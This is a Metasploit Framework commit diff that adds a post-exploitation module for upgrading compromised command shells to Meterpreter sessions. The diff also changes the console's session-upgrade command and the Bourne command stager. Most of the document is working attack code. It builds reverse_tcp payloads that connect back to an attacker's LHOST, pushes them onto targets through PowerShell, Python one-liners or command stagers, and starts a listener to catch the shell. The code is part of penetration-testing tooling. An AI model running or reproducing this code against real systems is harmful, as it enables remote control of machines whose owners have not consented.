Skip to content

Commit c488e40

Browse files
committed
Land rapid7#3401, shell to meterpreter upgrade by @TomSellers
Merge branch 'landing-3401' into upstream-master
2 parents 7b33ff1 + 6d04c46 commit c488e40

File tree

4 files changed

+340
-189
lines changed

4 files changed

+340
-189
lines changed

lib/msf/ui/console/command_dispatcher/core.rb

Lines changed: 44 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ class Core
4545
"-K" => [ false, "Terminate all sessions" ],
4646
"-s" => [ true, "Run a script on the session given with -i, or all"],
4747
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all"],
48-
"-u" => [ true, "Upgrade a win32 shell to a meterpreter session" ])
48+
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ])
4949

5050
@@jobs_opts = Rex::Parser::Arguments.new(
5151
"-h" => [ false, "Help banner." ],
@@ -1787,20 +1787,32 @@ def cmd_sessions(*args)
17871787
end
17881788

17891789
when 'upexec'
1790-
if ((session = framework.sessions.get(sid)))
1791-
if (session.interactive?)
1792-
if (session.type == "shell") # XXX: check for windows?
1793-
session.init_ui(driver.input, driver.output)
1794-
session.execute_script('spawn_meterpreter', nil)
1795-
session.reset_ui
1790+
session_list = build_sessions_array(sid)
1791+
print_status("Executing 'post/multi/manage/shell_to_meterpreter' on session(s): #{session_list}")
1792+
session_list.each do |sess|
1793+
if ((session = framework.sessions.get(sess)))
1794+
if (session.interactive?)
1795+
if (session.type == "shell")
1796+
session.init_ui(driver.input, driver.output)
1797+
session.execute_script('post/multi/manage/shell_to_meterpreter')
1798+
session.reset_ui
1799+
else
1800+
print_error("Session #{sess} is not a command shell session, skipping...")
1801+
next
1802+
end
17961803
else
1797-
print_error("Session #{sid} is not a command shell session.")
1804+
print_error("Session #{sess} is non-interactive, skipping...")
1805+
next
17981806
end
17991807
else
1800-
print_error("Session #{sid} is non-interactive.")
1808+
print_error("Invalid session identifier: #{sess}")
1809+
next
1810+
end
1811+
1812+
if session_list.count > 1
1813+
print_status("Sleeping 5 seconds to allow the previous handler to finish..")
1814+
sleep(5)
18011815
end
1802-
else
1803-
print_error("Invalid session identifier: #{sid}")
18041816
end
18051817

18061818
when 'reset_ring'
@@ -3342,6 +3354,27 @@ def retrieve_grep_lines(all_lines,line_num, before = nil, after = nil)
33423354
finish = line_num + after
33433355
return all_lines.slice(start..finish)
33443356
end
3357+
3358+
# Generate an array of session IDs when presented with input such as '1' or '1,2,4-6,10' or '1,2,4..6,10'
3359+
def build_sessions_array(sid_list)
3360+
session_list = Array.new
3361+
temp_list = sid_list.split(",")
3362+
3363+
temp_list.each do |ele|
3364+
if ele.include? '-'
3365+
temp_array = (ele.split("-").inject {|s,e| s.to_i..e.to_i}).to_a
3366+
session_list.concat(temp_array)
3367+
elsif ele.include? '..'
3368+
temp_array = (ele.split("..").inject {|s,e| s.to_i..e.to_i}).to_a
3369+
session_list.concat(temp_array)
3370+
else
3371+
session_list.push(ele.to_i)
3372+
end
3373+
end
3374+
3375+
return session_list.uniq.sort
3376+
end
3377+
33453378
end
33463379

33473380

lib/rex/exploitation/cmdstager/bourne.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -85,7 +85,15 @@ def generate_cmds_decoder(opts)
8585
def compress_commands(cmds, opts)
8686
# Make it all happen
8787
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
88-
cmds << "#{@tempdir}#{@var_decoded}.bin"
88+
# Background the process, allowing the cleanup code to continue and delete the data
89+
# while allowing the original shell to continue to function since it isn't waiting
90+
# on the payload to exit. The 'sleep' is required as '&' is a command terminator
91+
# and having & and the cmds delimiter ';' next to each other is invalid.
92+
if opts[:background]
93+
cmds << "#{@tempdir}#{@var_decoded}.bin & sleep 2"
94+
else
95+
cmds << "#{@tempdir}#{@var_decoded}.bin"
96+
end
8997

9098
# Clean up after unless requested not to..
9199
if (not opts[:nodelete])
Lines changed: 287 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,287 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/powershell'
9+
require 'msf/core/post/windows/powershell'
10+
11+
class Metasploit3 < Msf::Post
12+
include Exploit::Powershell
13+
include Post::Windows::Powershell
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Shell to Meterpreter Upgrade',
18+
'Description' => %q{
19+
This module attempts to upgrade a command shell to meterpreter. The shell
20+
platform is automatically detected and the best version of meterpreter for
21+
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
22+
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
26+
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
27+
'SessionTypes' => [ 'shell' ]
28+
))
29+
register_options(
30+
[
31+
OptAddress.new('LHOST',
32+
[false, 'IP of host that will receive the connection from the payload.']),
33+
OptInt.new('LPORT',
34+
[false, 'Port for Payload to connect to.', 4433]),
35+
OptBool.new('HANDLER',
36+
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
37+
], self.class)
38+
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
39+
end
40+
41+
# Run Method for when run command is issued
42+
def run
43+
print_status("Upgrading session: #{datastore['SESSION']}")
44+
45+
# Try hard to find a valid LHOST value in order to
46+
# make running 'sessions -u' as robust as possible.
47+
if datastore['LHOST']
48+
lhost = datastore['LHOST']
49+
elsif framework.datastore['LHOST']
50+
lhost = framework.datastore['LHOST']
51+
else
52+
lhost = session.tunnel_local.split(':')[0]
53+
end
54+
55+
# If nothing else works....
56+
lhost = Rex::Socket.source_address if lhost.blank?
57+
58+
lport = datastore['LPORT']
59+
60+
# Handle platform specific variables and settings
61+
case session.platform
62+
when /win/i
63+
platform = 'win'
64+
payload_name = 'windows/meterpreter/reverse_tcp'
65+
lplat = [Msf::Platform::Windows]
66+
larch = [ARCH_X86]
67+
psh_arch = 'x86'
68+
when /osx/i
69+
platform = 'python'
70+
payload_name = 'python/meterpreter/reverse_tcp'
71+
when /solaris/i
72+
platform = 'python'
73+
payload_name = 'python/meterpreter/reverse_tcp'
74+
else
75+
# Find the best fit, be specific w/ uname to avoid matching hostname or something else
76+
target_info = cmd_exec('uname -mo')
77+
if target_info =~ /linux/i && target_info =~ /86/
78+
# Handle linux shells that were identified as 'unix'
79+
platform = 'linux'
80+
payload_name = 'linux/x86/meterpreter/reverse_tcp'
81+
lplat = [Msf::Platform::Linux]
82+
larch = [ARCH_X86]
83+
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
84+
# Generic fallback for OSX, Solaris, Linux/ARM
85+
platform = 'python'
86+
payload_name = 'python/meterpreter/reverse_tcp'
87+
end
88+
end
89+
90+
if platform.blank?
91+
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
92+
return nil
93+
end
94+
95+
payload_data = generate_payload(lhost, lport, payload_name)
96+
if payload_data.blank?
97+
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
98+
return nil
99+
end
100+
101+
if datastore['HANDLER']
102+
listener_job_id = create_multihandler(lhost, lport, payload_name)
103+
if listener_job_id.blank?
104+
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
105+
return nil
106+
end
107+
end
108+
109+
case platform
110+
when 'win'
111+
if have_powershell?
112+
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
113+
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
114+
else
115+
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
116+
aborted = transmit_payload(exe)
117+
end
118+
when 'python'
119+
cmd_exec("python -c \"#{payload_data}\"")
120+
else
121+
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
122+
aborted = transmit_payload(exe)
123+
end
124+
125+
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
126+
return nil
127+
end
128+
129+
def transmit_payload(exe)
130+
#
131+
# Generate the stager command array
132+
#
133+
linemax = 1700
134+
if (session.exploit_datastore['LineMax'])
135+
linemax = session.exploit_datastore['LineMax'].to_i
136+
end
137+
opts = {
138+
:linemax => linemax,
139+
#:nodelete => true # keep temp files (for debugging)
140+
}
141+
if session.platform =~ /win/i
142+
opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
143+
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
144+
else
145+
opts[:background] = true
146+
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
147+
# Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
148+
# as /bin/sh on OS X doesn't support the -n option on echo
149+
end
150+
151+
cmds = cmdstager.generate(opts)
152+
if cmds.nil? || cmds.length < 1
153+
print_error('The command stager could not be generated')
154+
raise ArgumentError
155+
end
156+
157+
#
158+
# Calculate the total size
159+
#
160+
total_bytes = 0
161+
cmds.each { |cmd| total_bytes += cmd.length }
162+
163+
begin
164+
#
165+
# Run the commands one at a time
166+
#
167+
sent = 0
168+
aborted = false
169+
cmds.each { |cmd|
170+
ret = session.shell_command_token(cmd)
171+
if !ret
172+
aborted = true
173+
else
174+
ret.strip!
175+
aborted = true if !ret.empty?
176+
end
177+
if aborted
178+
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
179+
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
180+
break
181+
end
182+
183+
sent += cmd.length
184+
185+
progress(total_bytes, sent)
186+
}
187+
rescue ::Interrupt
188+
# TODO: cleanup partial uploads!
189+
aborted = true
190+
rescue => e
191+
print_error("Error: #{e}")
192+
aborted = true
193+
end
194+
195+
return aborted
196+
end
197+
198+
def cleanup_handler(listener_job_id, aborted)
199+
# Return if the job has already finished
200+
return nil if framework.jobs[listener_job_id].nil?
201+
202+
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
203+
if !aborted
204+
timer = 0
205+
while !framework.jobs[listener_job_id].nil? && timer < 10
206+
# Wait up to 10 seconds for the session to come in..
207+
sleep(1)
208+
timer += 1
209+
end
210+
end
211+
print_status('Stopping multi/handler')
212+
framework.jobs.stop_job(listener_job_id)
213+
}
214+
end
215+
216+
#
217+
# Show the progress of the upload
218+
#
219+
def progress(total, sent)
220+
done = (sent.to_f / total.to_f) * 100
221+
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
222+
end
223+
224+
# Method for checking if a listener for a given IP and port is present
225+
# will return true if a conflict exists and false if none is found
226+
def check_for_listener(lhost, lport)
227+
client.framework.jobs.each do |k, j|
228+
if j.name =~ / multi\/handler/
229+
current_id = j.jid
230+
current_lhost = j.ctx[0].datastore['LHOST']
231+
current_lport = j.ctx[0].datastore['LPORT']
232+
if lhost == current_lhost && lport == current_lport.to_i
233+
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
234+
return true
235+
end
236+
end
237+
end
238+
return false
239+
end
240+
241+
# Starts a multi/handler session
242+
def create_multihandler(lhost, lport, payload_name)
243+
pay = client.framework.payloads.create(payload_name)
244+
pay.datastore['LHOST'] = lhost
245+
pay.datastore['LPORT'] = lport
246+
print_status('Starting exploit multi handler')
247+
if !check_for_listener(lhost, lport)
248+
# Set options for module
249+
mh = client.framework.exploits.create('multi/handler')
250+
mh.share_datastore(pay.datastore)
251+
mh.datastore['WORKSPACE'] = client.workspace
252+
mh.datastore['PAYLOAD'] = payload_name
253+
mh.datastore['EXITFUNC'] = 'thread'
254+
mh.datastore['ExitOnSession'] = true
255+
# Validate module options
256+
mh.options.validate(mh.datastore)
257+
# Execute showing output
258+
mh.exploit_simple(
259+
'Payload' => mh.datastore['PAYLOAD'],
260+
'LocalInput' => self.user_input,
261+
'LocalOutput' => self.user_output,
262+
'RunAsJob' => true
263+
)
264+
265+
# Check to make sure that the handler is actually valid
266+
# If another process has the port open, then the handler will fail
267+
# but it takes a few seconds to do so. The module needs to give
268+
# the handler time to fail or the resulting connections from the
269+
# target could end up on on a different handler with the wrong payload
270+
# or dropped entirely.
271+
select(nil, nil, nil, 5)
272+
return nil if framework.jobs[mh.job_id.to_s].nil?
273+
274+
return mh.job_id.to_s
275+
else
276+
print_error('A job is listening on the same local port')
277+
return nil
278+
end
279+
end
280+
281+
def generate_payload(lhost, lport, payload_name)
282+
payload = framework.payloads.create(payload_name)
283+
options = "LHOST=#{lhost} LPORT=#{lport}"
284+
buf = payload.generate_simple('OptionStr' => options)
285+
buf
286+
end
287+
end

0 commit comments

Comments
 (0)